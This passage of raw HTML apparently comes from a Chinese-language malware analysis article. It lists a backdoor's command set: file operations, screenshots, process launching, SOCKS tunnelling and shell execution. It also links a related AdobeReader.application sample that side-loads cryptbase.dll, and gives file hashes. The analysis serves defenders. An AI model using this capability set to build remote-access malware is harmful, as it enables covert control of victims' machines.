sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">指令</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">功能</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">status:reregister</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">上线包发送</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">config</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">配置更新</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">pwd</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">当前工作路径获取</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">cd</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">进入xx文件夹</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">ls || dir</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">显示目录</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">download</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">下载文件</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">upload</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">上传文件</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">rm</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">删除文件</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">mkdir</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">创建目录</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">cp</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">复制文件</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">mv</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">移动文件</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">screenshot</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">屏幕截图</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">perun</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">运行指定进程</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">socks_connect</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">SOCKS 网络隧道连接</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">socks_data</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">向隧道写入数据并回传</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">socks_close</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">关闭隧道</span></span></span></p></td></tr><tr><td data-colwidth="231" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">shell</span></span></span></p></td><td data-colwidth="277" width="277" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrvj5l8o1qi5"><span style="font-size: 16px;"><span style="" data-nest-level="15"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="14">执行shell命令</span></span></span></p></td></tr></tbody></table></p></div></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []" data-nest-level="3"><div data-tools="135编辑器" data-id="105196" data-nest-level="4"><div style="text-align: left;margin: 10px auto;" data-nest-level="5"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-nest-level="6"><div style="display: inline-block;" data-nest-level="7"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;" data-nest-level="8"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;" data-nest-level="9"><strong data-nest-level="10"><span style="font-size:18px;" data-nest-level="11"><span leaf="" data-nest-level="12">三、关联分析</span></span></strong></p></div></div></div></div></div></div><p data-mpa-md-key="text" style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-md-action-id="mo1acalp1m1w" data-nest-level="3"><span mpa-font-style="mo1adudv1my4" data-nest-level="4"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="5">关联到另一起通过application类型文件的攻击样本，整体攻击流程与本次分析样本一致，依旧是部署白加黑组件执行。</span></span></p><div data-nest-level="3"><div data-nest-level="4"><div data-nest-level="5"><div data-nest-level="6"><div data-nest-level="7"><div data-nest-level="8"><div data-nest-level="9"><p data-nest-level="10"><table style="width: 425px;"><tbody><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">MD5</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">b5faa2453292b12f95580d2a4deaf37c</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件名称</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">AdobeReader.application</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件类型</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">application</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">MD5</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">9a95078a7a5f1045c61fe95ab308ec3f</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件名称</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">cryptbase.dll</span></span></span></p></td></tr><tr><td data-colwidth="94" width="94" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15"><span style="font-size: 16px;" data-nest-level="15"><span style="" data-nest-level="14"><span leaf="" style="color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="15">文件类型</span></span></span></p></td><td data-colwidth="331" width="331" valign="top"><p style="margin-top: 0px;margin-bottom: 0px;" data-nest-level="15" data-mpa-action-id="mrvj0oc71x3v"><span style="font-size: 